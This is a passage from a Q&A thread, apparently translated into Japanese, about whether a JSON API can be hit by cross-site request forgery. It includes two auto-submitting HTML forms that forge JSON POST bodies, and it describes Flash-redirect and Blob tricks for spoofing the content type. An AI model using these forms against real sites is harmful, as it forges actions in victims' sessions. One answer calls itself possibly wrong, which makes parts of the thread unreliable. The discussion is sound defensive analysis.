たとえば次のようなJSONリクエストを送信してビジネスアクションを実行するWebアプリケーションをテストしています。
_POST /dataRequest HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Content-Type: application/json; charset=utf-8
Content-Length: 99
Cookie: SESSIONID=7jtyutuytu1a
Connection: close
{"F":"test.AppRequestFactory","I":[{"O":"5vhghgjhgjE0="}]}
_
このようなHTML自動送信ページを作りました
_<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id="xsrf" action="https://test.com/dataRequest" method=post enctype="text/plain">
<input name='{"F":"test.AppRequestFactory","I":[{"O":""O":"5vhghgjhgjE0' value='"}]}' type='hidden'>
</form>
</body>
</html>
_
問題は、ヘッダー_Content-Type: text/plain
_で送信されることですが、サーバーは_Content-Type: application/json; charset=utf-8
_のみを受け入れます。
私はディスカッションを読みました JSON POSTを使用したCSRF コメントの1つは次のように述べています:
次のようなものを使用します:
var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'});
を使用してJSONブロブを生成すると、完全に送信されます。秒でCSRF!
しかし、私はこのアプローチの使い方を知りません。
このアプリケーションはCSRF攻撃に対して脆弱ですか?
このアプリケーションはCSRF攻撃に対して脆弱ですか?
はい、脆弱です。ただし、前提条件はFlashです。 Flashの助けを借りて、任意の値で_Content-type
_ヘッダーを偽造することが可能です。あなたがする必要があるのはPOST自分のドメインへのリクエストであり、それから307リダイレクトを発行します。以下のスクリーンショットを参照してください:
詳細については、 このcm2.pwの記事 を参照してください。
次のようなものを使用します:
var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'});
を使用してJSONブロブを生成すると、完全に送信されます。秒でCSRF!
これは、afaikですが、最近のブラウザではすでに修正されています。ただし、ファイルURIを使用するIEでも機能します。
更新:
最近でも多くのビューが得られているため、修正へのリンクを追加しています。 https://bugzilla.mozilla.org/show_bug.cgi?id=1436241https://bugs.chromium.org/p/chromium/issues/detail?id=33202
何らかの理由で、Chromiumの修正が機能せず、カスタムの_Content-type
_ヘッダーを含むPOST
リクエストを送信できます。
警告:この答えは間違っている可能性があり、楽観的です。上記の 1lastBr3athの回答 を参照してください。
いいえ、そのアプリケーションは脆弱ではないと思います。
Content-Type
ヘッダーを変更できます。 fetch API を使用します。ただし、クロスドメインリクエストに使用できる値は3つだけです。
application/x-www-form-urlencoded
multipart/form-data
text/plain
それをapplication/json
などの他のものに変更すると、ブラウザは最初にサーバーにOPTIONS
リクエストを送信し、ヘッダーの変更が許可されているかどうかを確認します。この動作は [〜#〜] cors [〜#〜] の一部であり、JavaScriptで実行できるクロスドメインリクエストを、単純なHTMLで実行できる古い形式のリクエストに制限するように設計されています。したがって、サーバーが特定のドメインにこのヘッダーを設定することを明確に許可しない限り(これは愚かなことです)、あなたは運が悪いです。
ただし、これは「偶然のセキュリティ」の場合のようです。私は自分のCSRF保護をより強力なものに依存します(そして、コンテンツタイプのハードルを乗り越えれば、おそらくそれは確実になります)。いつか誰かがサーバーが他のコンテンツタイプを受け入れてその制限を取り除くことがいいと思うとどうなりますか?この構成では、セキュリティホールが誤って開かれる可能性があります。
これを実現する別の方法は、jsonパーサーのほとんどがコメントの使用を尊重するという事実を利用することです。したがって、非表示の入力を含む単純なhtmlフォームを作成することにより、jsonデータを入力要素の名前として配置して、本文に投稿することができます。このシナリオでの唯一の問題は、フォームが送信されると、投稿の本文に(入力のname = value形式から) '='が含まれることです。したがって、それを回避してjsonを再度有効にするには、名前(jsonデータ)の最後にコメントインジケーターを追加します。このように、「=」文字は解析時にコメント化されます。
次に例を示します。
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.example.com/" method="POST" enctype="text/plain">
<input type="hidden" name='{"name":"value"}//' value="" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>